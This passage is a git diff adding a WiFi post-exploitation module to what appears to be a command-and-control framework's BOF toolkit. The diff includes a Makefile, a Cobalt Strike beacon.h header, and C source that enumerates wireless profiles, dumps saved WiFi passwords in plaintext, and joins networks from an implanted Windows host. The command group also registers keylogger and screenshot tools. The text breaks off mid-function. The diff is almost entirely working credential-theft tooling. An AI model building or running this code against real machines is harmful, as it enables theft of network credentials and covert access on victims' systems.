buf_kb = parsed_json["buffer_kb"] || 64; @@ -108,9 +211,14 @@ cmd_sauroneye.setPreHook(function (id, cmdline, parsed_json, ...parsed_lines) { ax.execute_alias(id, cmdline, `execute bof ${async}"${bof_path}" ${bof_params}`, "Task: SauronEye file search"); }); +var cmd_wifi = ax.create_command( + "wifi", + "WiFi enumeration, dump & authentication via WLAN API.", + "wifi enum | wifi dump \"NetworkName\" | wifi auth \"NetworkName\" \"password\""); +cmd_wifi.addSubCommands([_cmd_wifi_enum, _cmd_wifi_dump, _cmd_wifi_auth]); -var b_group_test = ax.create_commands_group("PostEx-BOF", [cmd_fw, cmd_keylog, cmd_screenshot, cmd_sauroneye]); +var b_group_test = ax.create_commands_group("PostEx-BOF", [cmd_fw, cmd_keylog, cmd_screenshot, cmd_sauroneye, cmd_wifi]); ax.register_commands_group(b_group_test, ["beacon", "gopher", "kharon"], ["windows"], []); /// MENU @@ -127,4 +235,4 @@ let keylog_menu = menu.create_menu("Keylogger"); keylog_menu.addItem(keylog_start_action) keylog_menu.addItem(keylog_dump_action) keylog_menu.addItem(keylog_stop_action) -menu.add_session_access(keylog_menu, ["beacon", "gopher"], ["windows"]); \ No newline at end of file +menu.add_session_access(keylog_menu, ["beacon", "gopher"], ["windows"]); diff --git a/Postex-BOF/wifi/Makefile b/Postex-BOF/wifi/Makefile new file mode 100644 index 0000000..855353c --- /dev/null +++ b/Postex-BOF/wifi/Makefile @@ -0,0 +1,24 @@ +CC64 = x86_64-w64-mingw32-gcc +CC86 = i686-w64-mingw32-gcc +STRIP = x86_64-w64-mingw32-strip +CFLAGS = -Wall -masm=intel -fno-stack-check -fno-stack-protector -mno-stack-arg-probe -I src +SRC = src/wifidump.c + +all: bof + +bof: clean + @(mkdir _bin 2>/dev/null) && echo 'creating _bin directory' || echo '_bin directory exists' + + # 64-bit builds + @$(CC64) $(CFLAGS) -DBOF_ENTRY_ENUM -c $(SRC) -o _bin/wifidump_enum.x64.o && $(STRIP) --strip-unneeded _bin/wifidump_enum.x64.o && echo '[+] wifidump_enum (x64)' || echo '[!] wifidump_enum (x64)' + @$(CC64) $(CFLAGS) -DBOF_ENTRY_DUMP -c $(SRC) -o _bin/wifidump_dump.x64.o && $(STRIP) --strip-unneeded _bin/wifidump_dump.x64.o && echo '[+] wifidump_dump (x64)' || echo '[!] wifidump_dump (x64)' + @$(CC64) $(CFLAGS) -DBOF_ENTRY_AUTH -c $(SRC) -o _bin/wifidump_auth.x64.o && $(STRIP) --strip-unneeded _bin/wifidump_auth.x64.o && echo '[+] wifidump_auth (x64)' || echo '[!] wifidump_auth (x64)' + + # 32-bit builds + @$(CC86) $(CFLAGS) -DBOF_ENTRY_ENUM -c $(SRC) -o _bin/wifidump_enum.x86.o && echo '[+] wifidump_enum (x86)' || echo '[!] wifidump_enum (x86)' + @$(CC86) $(CFLAGS) -DBOF_ENTRY_DUMP -c $(SRC) -o _bin/wifidump_dump.x86.o && echo '[+] wifidump_dump (x86)' || echo '[!] wifidump_dump (x86)' + @$(CC86) $(CFLAGS) -DBOF_ENTRY_AUTH -c $(SRC) -o _bin/wifidump_auth.x86.o && echo '[+] wifidump_auth (x86)' || echo '[!] wifidump_auth (x86)' + + +clean: + @(rm -rf _bin) diff --git a/Postex-BOF/wifi/src/beacon.h b/Postex-BOF/wifi/src/beacon.h new file mode 100644 index 0000000..2e9c3af --- /dev/null +++ b/Postex-BOF/wifi/src/beacon.h @@ -0,0 +1,403 @@ +/* + * Beacon Object Files (BOF) + * ------------------------- + * A Beacon Object File is a light-weight post exploitation tool that runs + * with Beacon's inline-execute command. + * + * Additional BOF resources are available here: + * - https://github.com/Cobalt-Strike/bof_template + * + * Cobalt Strike 4.x + * ChangeLog: + * 1/25/2022: updated for 4.5 + * 7/18/2023: Added BeaconInformation API for 4.9 + * 7/31/2023: Added Key/Value store APIs for 4.9 + * BeaconAddValue, BeaconGetValue, and BeaconRemoveValue + * 8/31/2023: Added Data store APIs for 4.9 + * BeaconDataStoreGetItem, BeaconDataStoreProtectItem, + * BeaconDataStoreUnprotectItem, and BeaconDataStoreMaxEntries + * 9/01/2023: Added BeaconGetCustomUserData API for 4.9 + * 3/21/2024: Updated BeaconInformation API for 4.10 to return a BOOL + * Updated the BEACON_INFO data structure to add new parameters + * 4/19/2024: Added BeaconGetSyscallInformation API for 4.10 + * 4/25/2024: Added APIs to call Beacon's system call implementation + * 12/18/2024: Updated BeaconGetSyscallInformation API for 4.11 (Breaking changes) + * 2/13/2025: Updated SYSCALL_API structure with more ntAPIs for 4.11 + * 3/20/2025: Updated ALLOCATED_MEMORY_SECTION structure with driploader page size for 4.12 + * 4/7/2025: Updated ALLOCATED_MEMORY_REGION structure with driploader allocation granularity for 4.12 + * 7/16/2025: Updated ALLOCATED_MEMORY_PURPOSE structure with PURPOSE_UDC2_MEMORY for 4.12 + */ +#ifndef _BEACON_H_ +#define _BEACON_H_ +#include + +#ifdef __cplusplus +extern "C" { +#endif // __cplusplus + +/* data API */ +typedef struct { + char * original; /* the original buffer [so we can free it] */ + char * buffer; /* current pointer into our buffer */ + int length; /* remaining length of data */ + int size; /* total size of this buffer */ +} datap; + +DECLSPEC_IMPORT void BeaconDataParse(datap * parser, char * buffer, int size); +DECLSPEC_IMPORT char * BeaconDataPtr(datap * parser, int size); +DECLSPEC_IMPORT int BeaconDataInt(datap * parser); +DECLSPEC_IMPORT short BeaconDataShort(datap * parser); +DECLSPEC_IMPORT int BeaconDataLength(datap * parser); +DECLSPEC_IMPORT char * BeaconDataExtract(datap * parser, int * size); + +/* format API */ +typedef struct { + char * original; /* the original buffer [so we can free it] */ + char * buffer; /* current pointer into our buffer */ + int length; /* remaining length of data */ + int size; /* total size of this buffer */ +} formatp; + +DECLSPEC_IMPORT void BeaconFormatAlloc(formatp * format, int maxsz); +DECLSPEC_IMPORT void BeaconFormatReset(formatp * format); +DECLSPEC_IMPORT void BeaconFormatAppend(formatp * format, const char * text, int len); +DECLSPEC_IMPORT void BeaconFormatPrintf(formatp * format, const char * fmt, ...); +DECLSPEC_IMPORT char * BeaconFormatToString(formatp * format, int * size); +DECLSPEC_IMPORT void BeaconFormatFree(formatp * format); +DECLSPEC_IMPORT void BeaconFormatInt(formatp * format, int value); + +/* Output Functions */ +#define CALLBACK_OUTPUT 0x0 +#define CALLBACK_OUTPUT_OEM 0x1e +#define CALLBACK_OUTPUT_UTF8 0x20 +#define CALLBACK_ERROR 0x0d +#define CALLBACK_CUSTOM 0x1000 +#define CALLBACK_CUSTOM_LAST 0x13ff + + +DECLSPEC_IMPORT void BeaconOutput(int type, const char * data, int len); +DECLSPEC_IMPORT void BeaconPrintf(int type, const char * fmt, ...); +DECLSPEC_IMPORT BOOL BeaconDownload(const char * filename, const char* buffer, unsigned int length); + + +/* Token Functions */ +DECLSPEC_IMPORT BOOL BeaconUseToken(HANDLE token); +DECLSPEC_IMPORT void BeaconRevertToken(); +DECLSPEC_IMPORT BOOL BeaconIsAdmin(); + +/* Spawn+Inject Functions */ +DECLSPEC_IMPORT void BeaconGetSpawnTo(BOOL x86, char * buffer, int length); +DECLSPEC_IMPORT void BeaconInjectProcess(HANDLE hProc, int pid, char * payload, int p_len, int p_offset, char * arg, int a_len); +DECLSPEC_IMPORT void BeaconInjectTemporaryProcess(PROCESS_INFORMATION * pInfo, char * payload, int p_len, int p_offset, char * arg, int a_len); +DECLSPEC_IMPORT BOOL BeaconSpawnTemporaryProcess(BOOL x86, BOOL ignoreToken, STARTUPINFO * si, PROCESS_INFORMATION * pInfo); +DECLSPEC_IMPORT void BeaconCleanupProcess(PROCESS_INFORMATION * pInfo); + +/* Utility Functions */ +DECLSPEC_IMPORT BOOL toWideChar(char * src, wchar_t * dst, int max); + +/* Beacon Information */ +/* + * ptr - pointer to the base address of the allocated memory. + * size - the number of bytes allocated for the ptr. + */ +typedef struct { + char * ptr; + size_t size; +} HEAP_RECORD; +#define MASK_SIZE 13 + +/* Information the user can set in the USER_DATA via a UDRL */ +typedef enum { + PURPOSE_EMPTY, + PURPOSE_GENERIC_BUFFER, + PURPOSE_BEACON_MEMORY, + PURPOSE_SLEEPMASK_MEMORY, + PURPOSE_BOF_MEMORY, + PURPOSE_UDC2_MEMORY, + PURPOSE_USER_DEFINED_MEMORY = 1000 +} ALLOCATED_MEMORY_PURPOSE; + +typedef enum { + LABEL_EMPTY, + LABEL_BUFFER, + LABEL_PEHEADER, + LABEL_TEXT, + LABEL_RDATA, + LABEL_DATA, + LABEL_PDATA, + LABEL_RELOC, + LABEL_USER_DEFINED = 1000 +} ALLOCATED_MEMORY_LABEL; + +typedef enum { + METHOD_UNKNOWN, + METHOD_VIRTUALALLOC, + METHOD_HEAPALLOC, + METHOD_MODULESTOMP, + METHOD_NTMAPVIEW, + METHOD_USER_DEFINED = 1000, +} ALLOCATED_MEMORY_ALLOCATION_METHOD; + +/** +* This structure allows the user to provide additional information +* about the allocated heap for cleanup. It is mandatory to provide +* the HeapHandle but the DestroyHeap Boolean can be used to indicate +* whether the clean up code should destroy the heap or simply free the pages. +* This is useful in situations where a loader allocates memory in the +* processes current heap. +*/ +typedef struct _HEAPALLOC_INFO { + PVOID HeapHandle; + BOOL DestroyHeap; +} HEAPALLOC_INFO, *PHEAPALLOC_INFO; + +typedef struct _MODULESTOMP_INFO { + HMODULE ModuleHandle; +} MODULESTOMP_INFO, *PMODULESTOMP_INFO; + +typedef union _ALLOCATED_MEMORY_ADDITIONAL_CLEANUP_INFORMATION { + HEAPALLOC_INFO HeapAllocInfo; + MODULESTOMP_INFO ModuleStompInfo; + PVOID Custom; +} ALLOCATED_MEMORY_ADDITIONAL_CLEANUP_INFORMATION, *PALLOCATED_MEMORY_ADDITIONAL_CLEANUP_INFORMATION; + +typedef struct _ALLOCATED_MEMORY_CLEANUP_INFORMATION { + BOOL Cleanup; + ALLOCATED_MEMORY_ALLOCATION_METHOD AllocationMethod; + ALLOCATED_MEMORY_ADDITIONAL_CLEANUP_INFORMATION AdditionalCleanupInformation; +} ALLOCATED_MEMORY_CLEANUP_INFORMATION, *PALLOCATED_MEMORY_CLEANUP_INFORMATION; + +typedef struct _ALLOCATED_MEMORY_SECTION { + ALLOCATED_MEMORY_LABEL Label; // A label to simplify Sleepmask development + PVOID BaseAddress; // Pointer to virtual address of section + SIZE_T VirtualSize; // Virtual size of the section + DWORD CurrentProtect; // Current memory protection of the section + DWORD PreviousProtect; // The previous memory protection of the section (prior to masking/unmasking) + BOOL MaskSection; // A boolean to indicate whether the section should be masked + DWORD DripLoadPageSize; // The page size used when committing memory during drip-loading +} ALLOCATED_MEMORY_SECTION, *PALLOCATED_MEMORY_SECTION; + +typedef struct _ALLOCATED_MEMORY_REGION { + ALLOCATED_MEMORY_PURPOSE Purpose; // A label to indicate the purpose of the allocated memory + PVOID AllocationBase; // The base address of the allocated memory block + SIZE_T RegionSize; // The size of the allocated memory block + DWORD Type; // The type of memory allocated + DWORD DripLoadAllocationGranularity; // The allocation granularity used when reserving memory for drip-loading + ALLOCATED_MEMORY_SECTION Sections[8]; // An array of section information structures + ALLOCATED_MEMORY_CLEANUP_INFORMATION CleanupInformation; // Information required to cleanup the allocation +} ALLOCATED_MEMORY_REGION, *PALLOCATED_MEMORY_REGION; + +typedef struct { + ALLOCATED_MEMORY_REGION AllocatedMemoryRegions[6]; +} ALLOCATED_MEMORY, *PALLOCATED_MEMORY; + +/* + * version - The version of the beacon dll was added for release 4.10 + * version format: 0xMMmmPP, where MM = Major, mm = Minor, and PP = Patch + * e.g. 0x040900 -> CS 4.9 + * 0x041000 -> CS 4.10 + * + * sleep_mask_ptr - pointer to the sleep mask base address + * sleep_mask_text_size - the sleep mask text section size + * sleep_mask_total_size - the sleep mask total memory size + * + * beacon_ptr - pointer to beacon's base address + * The stage.obfuscate flag affects this value when using CS default loader. + * true: beacon_ptr = allocated_buffer - 0x1000 (Not a valid address) + * false: beacon_ptr = allocated_buffer (A valid address) + * For a UDRL the beacon_ptr will be set to the 1st argument to DllMain + * when the 2nd argument is set to DLL_PROCESS_ATTACH. + * heap_records - list of memory addresses on the heap beacon wants to mask. + * The list is terminated by the HEAP_RECORD.ptr set to NULL. + * mask - the mask that beacon randomly generated to apply + * + * Added in version 4.10 + * allocatedMemory - An ALLOCATED_MEMORY structure that can be set in the USER_DATA + * via a UDRL. + */ +typedef struct { + unsigned int version; + char * sleep_mask_ptr; + DWORD sleep_mask_text_size; + DWORD sleep_mask_total_size; + + char * beacon_ptr; + HEAP_RECORD * heap_records; + char mask[MASK_SIZE]; + + ALLOCATED_MEMORY allocatedMemory; +} BEACON_INFO, *PBEACON_INFO; + +DECLSPEC_IMPORT BOOL BeaconInformation(PBEACON_INFO info); + +/* Key/Value store functions + * These functions are used to associate a key to a memory address and save + * that information into beacon. These memory addresses can then be + * retrieved in a subsequent execution of a BOF. + * + * key - the key will be converted to a hash which is used to locate the + * memory address. + * + * ptr - a memory address to save. + * + * Considerations: + * - The contents at the memory address is not masked by beacon. + * - The contents at the memory address is not released by beacon. + * + */ +DECLSPEC_IMPORT BOOL BeaconAddValue(const char * key, void * ptr); +DECLSPEC_IMPORT void * BeaconGetValue(const char * key); +DECLSPEC_IMPORT BOOL BeaconRemoveValue(const char * key); + +/* Beacon Data Store functions + * These functions are used to access items in Beacon's Data Store. + * BeaconDataStoreGetItem returns NULL if the index does not exist. + * + * The contents are masked by default, and BOFs must unprotect the entry + * before accessing the data buffer. BOFs must also protect the entry + * after the data is not used anymore. + * + */ + +#define DATA_STORE_TYPE_EMPTY 0 +#define DATA_STORE_TYPE_GENERAL_FILE 1 + +typedef struct { + int type; + DWORD64 hash; + BOOL masked; + char* buffer; + size_t length; +} DATA_STORE_OBJECT, *PDATA_STORE_OBJECT; + +DECLSPEC_IMPORT PDATA_STORE_OBJECT BeaconDataStoreGetItem(size_t index); +DECLSPEC_IMPORT void BeaconDataStoreProtectItem(size_t index); +DECLSPEC_IMPORT void BeaconDataStoreUnprotectItem(size_t index); +DECLSPEC_IMPORT size_t BeaconDataStoreMaxEntries(); + +/* Beacon User Data functions */ +DECLSPEC_IMPORT char * BeaconGetCustomUserData(); + +/* Beacon System call */ +/* Syscalls API */ +typedef struct +{ + PVOID fnAddr; + PVOID jmpAddr; + DWORD sysnum; +} SYSCALL_API_ENTRY, *PSYSCALL_API_ENTRY; + +typedef struct +{ + SYSCALL_API_ENTRY ntAllocateVirtualMemory; + SYSCALL_API_ENTRY ntProtectVirtualMemory; + SYSCALL_API_ENTRY ntFreeVirtualMemory; + SYSCALL_API_ENTRY ntGetContextThread; + SYSCALL_API_ENTRY ntSetContextThread; + SYSCALL_API_ENTRY ntResumeThread; + SYSCALL_API_ENTRY ntCreateThreadEx; + SYSCALL_API_ENTRY ntOpenProcess; + SYSCALL_API_ENTRY ntOpenThread; + SYSCALL_API_ENTRY ntClose; + SYSCALL_API_ENTRY ntCreateSection; + SYSCALL_API_ENTRY ntMapViewOfSection; + SYSCALL_API_ENTRY ntUnmapViewOfSection; + SYSCALL_API_ENTRY ntQueryVirtualMemory; + SYSCALL_API_ENTRY ntDuplicateObject; + SYSCALL_API_ENTRY ntReadVirtualMemory; + SYSCALL_API_ENTRY ntWriteVirtualMemory; + SYSCALL_API_ENTRY ntReadFile; + SYSCALL_API_ENTRY ntWriteFile; + SYSCALL_API_ENTRY ntCreateFile; + SYSCALL_API_ENTRY ntQueueApcThread; + SYSCALL_API_ENTRY ntCreateProcess; + SYSCALL_API_ENTRY ntOpenProcessToken; + SYSCALL_API_ENTRY ntTestAlert; + SYSCALL_API_ENTRY ntSuspendProcess; + SYSCALL_API_ENTRY ntResumeProcess; + SYSCALL_API_ENTRY ntQuerySystemInformation; + SYSCALL_API_ENTRY ntQueryDirectoryFile; + SYSCALL_API_ENTRY ntSetInformationProcess; + SYSCALL_API_ENTRY ntSetInformationThread; + SYSCALL_API_ENTRY ntQueryInformationProcess; + SYSCALL_API_ENTRY ntQueryInformationThread; + SYSCALL_API_ENTRY ntOpenSection; + SYSCALL_API_ENTRY ntAdjustPrivilegesToken; + SYSCALL_API_ENTRY ntDeviceIoControlFile; + SYSCALL_API_ENTRY ntWaitForMultipleObjects; +} SYSCALL_API, *PSYSCALL_API; + +/* Additional Run Time Library (RTL) addresses used to support system calls. + * If they are not set then system calls that require them will fall back + * to the Standard Windows API. + * + * Required to support the following system calls: + * ntCreateFile + */ +typedef struct +{ + PVOID rtlDosPathNameToNtPathNameUWithStatusAddr; + PVOID rtlFreeHeapAddr; + PVOID rtlGetProcessHeapAddr; +} RTL_API, *PRTL_API; + +/* Updated in version 4.11 to use the entire structure instead of pointers to the structure. + * This allows for retrieving a copy of the information which would be under the BOF's + * control instead of a reference pointer which may be obfuscated when beacon is sleeping. + */ +typedef struct +{ + SYSCALL_API syscalls; + RTL_API rtls; +} BEACON_SYSCALLS, *PBEACON_SYSCALLS; + +/* Updated in version 4.11 to include the size of the info pointer, which equals sizeof(BEACON_SYSCALLS) */ +DECLSPEC_IMPORT BOOL BeaconGetSyscallInformation(PBEACON_SYSCALLS info, SIZE_T infoSize, BOOL resolveIfNotInitialized); + +/* Beacon System call functions which will use the current system call method */ +DECLSPEC_IMPORT LPVOID BeaconVirtualAlloc(LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect); +DECLSPEC_IMPORT LPVOID BeaconVirtualAllocEx(HANDLE processHandle, LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect); +DECLSPEC_IMPORT BOOL BeaconVirtualProtect(LPVOID lpAddress, SIZE_T dwSize, DWORD flNewProtect, PDWORD lpflOldProtect); +DECLSPEC_IMPORT BOOL BeaconVirtualProtectEx(HANDLE processHandle, LPVOID lpAddress, SIZE_T dwSize, DWORD flNewProtect, PDWORD lpflOldProtect); +DECLSPEC_IMPORT BOOL BeaconVirtualFree(LPVOID lpAddress, SIZE_T dwSize, DWORD dwFreeType); +DECLSPEC_IMPORT BOOL BeaconGetThreadContext(HANDLE threadHandle, PCONTEXT threadContext); +DECLSPEC_IMPORT BOOL BeaconSetThreadContext(HANDLE threadHandle, PCONTEXT threadContext); +DECLSPEC_IMPORT DWORD BeaconResumeThread(HANDLE threadHandle); +DECLSPEC_IMPORT HANDLE BeaconOpenProcess(DWORD desiredAccess, BOOL inheritHandle, DWORD processId); +DECLSPEC_IMPORT HANDLE BeaconOpenThread(DWORD desiredAccess, BOOL inheritHandle, DWORD threadId); +DECLSPEC_IMPORT BOOL BeaconCloseHandle(HANDLE object); +DECLSPEC_IMPORT BOOL BeaconUnmapViewOfFile(LPCVOID baseAddress); +DECLSPEC_IMPORT SIZE_T BeaconVirtualQuery(LPCVOID address, PMEMORY_BASIC_INFORMATION buffer, SIZE_T length); +DECLSPEC_IMPORT BOOL BeaconDuplicateHandle(HANDLE hSourceProcessHandle, HANDLE hSourceHandle, HANDLE hTargetProcessHandle, LPHANDLE lpTargetHandle, DWORD dwDesiredAccess, BOOL bInheritHandle, DWORD dwOptions); +DECLSPEC_IMPORT BOOL BeaconReadProcessMemory(HANDLE hProcess, LPCVOID lpBaseAddress, LPVOID lpBuffer, SIZE_T nSize, SIZE_T *lpNumberOfBytesRead); +DECLSPEC_IMPORT BOOL BeaconWriteProcessMemory(HANDLE hProcess, LPVOID lpBaseAddress, LPCVOID lpBuffer, SIZE_T nSize, SIZE_T *lpNumberOfBytesWritten); + +/* Beacon Gate APIs */ +DECLSPEC_IMPORT VOID BeaconDisableBeaconGate(); +DECLSPEC_IMPORT VOID BeaconEnableBeaconGate(); + +DECLSPEC_IMPORT VOID BeaconDisableBeaconGateMasking(); +DECLSPEC_IMPORT VOID BeaconEnableBeaconGateMasking(); + +/* Beacon User Data + * + * version format: 0xMMmmPP, where MM = Major, mm = Minor, and PP = Patch + * e.g. 0x040900 -> CS 4.9 + * 0x041000 -> CS 4.10 +*/ + +#define DLL_BEACON_USER_DATA 0x0d +#define BEACON_USER_DATA_CUSTOM_SIZE 32 +typedef struct +{ + unsigned int version; + PSYSCALL_API syscalls; + char custom[BEACON_USER_DATA_CUSTOM_SIZE]; + PRTL_API rtls; + PALLOCATED_MEMORY allocatedMemory; +} USER_DATA, * PUSER_DATA; + +#ifdef __cplusplus +} +#endif // __cplusplus +#endif // _BEACON_H_ diff --git a/Postex-BOF/wifi/src/wifidump.c b/Postex-BOF/wifi/src/wifidump.c new file mode 100644 index 0000000..9be4cf5 --- /dev/null +++ b/Postex-BOF/wifi/src/wifidump.c @@ -0,0 +1,263 @@ +/* + * wifidump.c - WiFi enumeration, credential dump y conexión BOF + * + * Compilar tres objetos separados desde el mismo fuente: + * + * Enum: + * x86_64-w64-mingw32-gcc -Wall -masm=intel -fno-stack-check -fno-stack-protector -mno-stack-arg-probe -DBOF_ENTRY_ENUM -c wifidump.c -o _bin/wifidump_enum.x64.o + * + * Dump (plaintext key): + * x86_64-w64-mingw32-gcc -Wall -masm=intel -fno-stack-check -fno-stack-protector -mno-stack-arg-probe -DBOF_ENTRY_DUMP -c wifidump.c -o _bin/wifidump_dump.x64.o + * + * Auth (connect): + * x86_64-w64-mingw32-gcc -Wall -masm=intel -fno-stack-check -fno-stack-protector -mno-stack-arg-probe -DBOF_ENTRY_AUTH -c wifidump.c -o _bin/wifidump_auth.x64.o + * + * O simplemente: make + */ + +#ifndef UNICODE +#define UNICODE +#endif + +#include +#include +#include +#include +#include "beacon.h" + +#ifndef WLAN_PROFILE_GROUP_POLICY +#define WLAN_PROFILE_GROUP_POLICY 0x00000001 +#endif + +/* DFR declarations */ +DECLSPEC_IMPORT DWORD WINAPI WLANAPI$WlanOpenHandle(DWORD, PVOID, PDWORD, PHANDLE); +DECLSPEC_IMPORT DWORD WINAPI WLANAPI$WlanCloseHandle(HANDLE, PVOID); +DECLSPEC_IMPORT DWORD WINAPI WLANAPI$WlanEnumInterfaces(HANDLE, PVOID, PWLAN_INTERFACE_INFO_LIST *); +DECLSPEC_IMPORT INT WINAPI OLE32$StringFromGUID2(REFGUID, LPOLESTR, INT); +DECLSPEC_IMPORT DWORD WINAPI WLANAPI$WlanGetProfile(HANDLE, const GUID *, LPCWSTR, PVOID, LPWSTR *, DWORD *, DWORD *); +DECLSPEC_IMPORT VOID WINAPI WLANAPI$WlanFreeMemory(PVOID); +DECLSPEC_IMPORT DWORD WINAPI WLANAPI$WlanGetProfileList(HANDLE, const GUID *, PVOID, PWLAN_PROFILE_INFO_LIST *); +DECLSPEC_IMPORT DWORD WINAPI WLANAPI$WlanSetProfile(HANDLE, const GUID *, DWORD, LPCWSTR, LPCWSTR, BOOL, PVOID, PDWORD); +DECLSPEC_IMPORT DWORD WINAPI WLANAPI$WlanConnect(HANDLE, const GUID *, const PWLAN_CONNECTION_PARAMETERS, PVOID); + +DECLSPEC_IMPORT int __cdecl MSVCRT$_snwprintf(wchar_t *, size_t, const wchar_t *, ...); +DECLSPEC_IMPORT void * __cdecl MSVCRT$memset(void *, int, size_t); +DECLSPEC_IMPORT void * __cdecl MSVCRT$malloc(size_t); +DECLSPEC_IMPORT void __cdecl MSVCRT$free(void *); + +/* ====================================================================== + * run_wifienum + * ====================================================================== */ +#if defined(BOF_ENTRY_DUMP) || defined(BOF_ENTRY_AUTH) +__attribute__((unused)) +#endif +static void run_wifienum(void) { + HANDLE hClient = NULL; + DWORD dwMaxClient = 2, dwCurVersion = 0, dwResult = 0; + unsigned int i, j; + PWLAN_INTERFACE_INFO_LIST pIfList = NULL; + PWLAN_INTERFACE_INFO pIfInfo = NULL; + PWLAN_PROFILE_INFO_LIST pProfileList = NULL; + PWLAN_PROFILE_INFO pProfile = NULL; + + dwResult = WLANAPI$WlanOpenHandle(dwMaxClient, NULL, &dwCurVersion, &hClient); + if (dwResult != ERROR_SUCCESS) { BeaconPrintf(CALLBACK_ERROR, "WlanOpenHandle failed: %u\n", dwResult); return; } + + dwResult = WLANAPI$WlanEnumInterfaces(hClient, NULL, &pIfList); + if (dwResult != ERROR_SUCCESS) { BeaconPrintf(CALLBACK_ERROR, "WlanEnumInterfaces failed: %u\n", dwResult); goto cleanup; } + + for (i = 0; i < pIfList->dwNumberOfItems; i++) { + pIfInfo = (WLAN_INTERFACE_INFO *)&pIfList->InterfaceInfo[i]; + BeaconPrintf(CALLBACK_OUTPUT, "\n[*] Interface: %ws\n", pIfInfo->strInterfaceDescription); + + dwResult = WLANAPI$WlanGetProfileList(hClient, &pIfInfo->InterfaceGuid, NULL, &pProfileList); + if (dwResult != ERROR_SUCCESS) { BeaconPrintf(CALLBACK_ERROR, " WlanGetProfileList failed: %u\n", dwResult); continue; } + if (pProfileList->dwNumberOfItems == 0) BeaconPrintf(CALLBACK_OUTPUT, " (no profiles found)\n"); + + for (j = 0; j < pProfileList->dwNumberOfItems; j++) { + pProfile = (WLAN_PROFILE_INFO *)&pProfileList->ProfileInfo[j]; + BeaconPrintf(CALLBACK_OUTPUT, " [%u] %ws\n", j, pProfile->strProfileName); + } + WLANAPI$WlanFreeMemory(pProfileList); pProfileList = NULL; + } + +cleanup: + if (pIfList) WLANAPI$WlanFreeMemory(pIfList); + if (hClient) WLANAPI$WlanCloseHandle(hClient, NULL); +} + +/* ====================================================================== + * run_wifidump — Args: wstr ssid + * + * NOTA: el .axs empaqueta con bof_pack("wstr", ...) → UTF-16 ya listo. + * Cast directo a wchar_t*, NO usar toWideChar (corrompería el string). + * ====================================================================== */ +#if defined(BOF_ENTRY_ENUM) || defined(BOF_ENTRY_AUTH) +__attribute__((unused)) +#endif +static void run_wifidump(IN PCHAR Buffer, IN ULONG Length) { + datap parser; + BeaconDataParse(&parser, Buffer, Length); + + /* wstr viene UTF-16 desde el .axs → cast directo */ + wchar_t *pProfileName = (wchar_t *)BeaconDataExtract(&parser, NULL); + + if (!pProfileName || pProfileName[0] == L'\0') { + BeaconPrintf(CALLBACK_ERROR, "No profile name provided.\n"); + return; + } + + HANDLE hClient = NULL; + DWORD dwMaxClient = 2, dwCurVersion = 0, dwResult = 0; + unsigned int i; + PWLAN_INTERFACE_INFO_LIST pIfList = NULL; + PWLAN_INTERFACE_INFO pIfInfo = NULL; + LPWSTR pProfileXml = NULL; + DWORD dwFlags = WLAN_PROFILE_GET_PLAINTEXT_KEY; + DWORD dwGrantedAccess = 0; + + dwResult = WLANAPI$WlanOpenHandle(dwMaxClient, NULL, &dwCurVersion, &hClient); + if (dwResult != ERROR_SUCCESS) { BeaconPrintf(CALLBACK_ERROR, "WlanOpenHandle failed: %u\n", dwResult); return; } + + dwResult = WLANAPI$WlanEnumInterfaces(hClient, NULL, &pIfList); + if (dwResult != ERROR_SUCCESS) { BeaconPrintf(CALLBACK_ERROR, "WlanEnumInterfaces failed: %u\n", dwResult); goto cleanup; } + + for (i = 0; i < pIfList->dwNumberOfItems; i++) { + pIfInfo = (WLAN_INTERFACE_INFO *)&pIfList->InterfaceInfo[i]; + dwFlags = WLAN_PROFILE_GET_PLAINTEXT_KEY; + dwResult = WLANAPI$WlanGetProfile(hClient, &pIfInfo->InterfaceGuid, pProfileName, + NULL, &pProfileXml, &dwFlags, &dwGrantedAccess); + if (dwResult != ERROR_SUCCESS) { + BeaconPrintf(CALLBACK_ERROR, "WlanGetProfile failed for '%ws' on '%ws': %u\n", + pProfileName, pIfInfo->strInterfaceDescription, dwResult); + } else { + BeaconPrintf(CALLBACK_OUTPUT, "[+] Profile XML (%ws):\n%ws\n", + pIfInfo->strInterfaceDescription, pProfileXml); + WLANAPI$WlanFreeMemory(pProfileXml); pProfileXml = NULL; + } + } + +cleanup: + if (pIfList) WLANAPI$WlanFreeMemory(pIfList); + if (hClient) WLANAPI$WlanCloseHandle(hClient, NULL); +} + +/* ====================================================================== + * run_wifiauth — conecta a una red WPA2-PSK + * + * Args: wstr ssid, wstr password + * + * NOTA: el .axs empaqueta con bof_pack("wstr,wstr", ...) → UTF-16 ya listo. + * Cast directo a wchar_t*, NO usar toWideChar (corrompería el string). + * ====================================================================== */ +#if defined(BOF_ENTRY_ENUM) || defined(BOF_ENTRY_DUMP) +__attribute__((unused)) +#endif +static void run_wifiauth(IN PCHAR Buffer, IN ULONG Length) { + datap parser; + BeaconDataParse(&parser, Buffer, Length); + + /* wstr viene UTF-16 desde el .axs → cast directo */ + wchar_t *pSsid = (wchar_t *)BeaconDataExtract(&parser, NULL); + wchar_t *pPass = (wchar_t *)BeaconDataExtract(&parser, NULL); + + if (!pSsid || pSsid[0] == L'\0') { BeaconPrintf(CALLBACK_ERROR, "No SSID provided.\n"); return; } + if (!pPass || pPass[0] == L'\0') { BeaconPrintf(CALLBACK_ERROR, "No password provided.\n"); return; } + + /* Buffer XML en heap para evitar __chkstk_ms */ + WCHAR *xmlProfile = (WCHAR *)MSVCRT$malloc(4096 * sizeof(WCHAR)); + if (!xmlProfile) { BeaconPrintf(CALLBACK_ERROR, "malloc failed.\n"); return; } + MSVCRT$memset(xmlProfile, 0, 4096 * sizeof(WCHAR)); + + MSVCRT$_snwprintf(xmlProfile, 4095, + L"" + L"" + L"%s" + L"%s" + L"ESS" + L"manual" + L"" + L"" + L"WPA2PSK" + L"AES" + L"false" + L"" + L"" + L"passPhrase" + L"false" + L"%s" + L"" + L"" + L"", + pSsid, pSsid, pPass + ); + + HANDLE hClient = NULL; + DWORD dwMaxClient = 2, dwCurVersion = 0, dwResult = 0; + + dwResult = WLANAPI$WlanOpenHandle(dwMaxClient, NULL, &dwCurVersion, &hClient); + if (dwResult != ERROR_SUCCESS) { + BeaconPrintf(CALLBACK_ERROR, "WlanOpenHandle failed: %u\n", dwResult); + MSVCRT$free(xmlProfile); + return; + } + + PWLAN_INTERFACE_INFO_LIST pIfList = NULL; + dwResult = WLANAPI$WlanEnumInterfaces(hClient, NULL, 